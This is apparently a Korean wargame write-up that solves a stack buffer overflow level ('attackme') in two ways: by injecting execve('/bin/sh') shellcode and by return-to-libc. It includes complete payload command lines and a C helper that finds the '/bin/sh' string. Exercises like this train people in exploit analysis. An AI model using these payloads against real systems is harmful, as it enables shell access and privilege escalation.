buf 변수의 크기가 16byte 밖에 안돼 buf 변수에 shellcode를 넣는건 안될 거 같다.
함수 인자값으로 payload를 넣어야한다.
gdb로 분석 ㄱㄱ
[그림 1-3]를 보면 shellcode는 ret 밑에 넣어야할 거 같다.
따라서 payload는 "A" * 20 + shellcode 주소 + shellcode 방향을 잡고 해보자
shellcode 위치는 [그림 1-3] argc 위치에 들어가야한다. 따라서 argc 주소값을 찾아야한다.
0x43434343 위치가 shellcode 들어가는 주소이다. -> BFFF FAF0 이다.
r "`python -c 'print("A"*20+"\xf0\xfa\xff\xbf" + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80")'`"
하고 주소에 맞게 들어갔는지 확인해보면 buf 주소가 바껴있다..
shellcode 주소를 0xbffffe0 으로 바꾸고 다시 해보자
ret 값에 0xbffffe0 들어가고 0xbffffe0 주소값에 shellcode가 잘 들어가있다.
따라서 payload는 ./attackme `python -c 'print("A"*20+"\xe0\xfa\xff\xbf" + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80")'`
끝
r "`python -c 'print("A"*20+"\xe0\xfa\xff\xbf" + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80")'`" 했을 경우와 r "`python -c 'print("A"*20+"BBBB"+"CCCC")'`" 했을 때 buf 주소가 왜 바뀌는지 모르겠다..
두 번째 방법은 RTL 방법이다.
payload = A*20 + system 함수 주소 + dummy + '/bin/sh' 주소
따라서 system 함수 주소와 '/bin/sh' 주소를 구해야한다.
프로그램 실행 후 system 함수 주소는 쉽게 구할 수 있다.
#include <stdio.h>
int main()
{
long shell = 0x40058ae0; // system 함수주소
while(memcmp((void *)shell,"/bin/sh",8))
shell++;
printf("\"/bin/sh/\" : 0x%x\n",shell);
}
/bin/sh 주소는 위 코드를 컴파일 후 구할 수 있다.
따라서 완성된 payload는 ./attackme `python -c 'print("A"*20+"\xe0\x8a\x05\x40"+"\xff\xff\xff\xff"+"\xf9\xbf\x0f\x40")'`
끝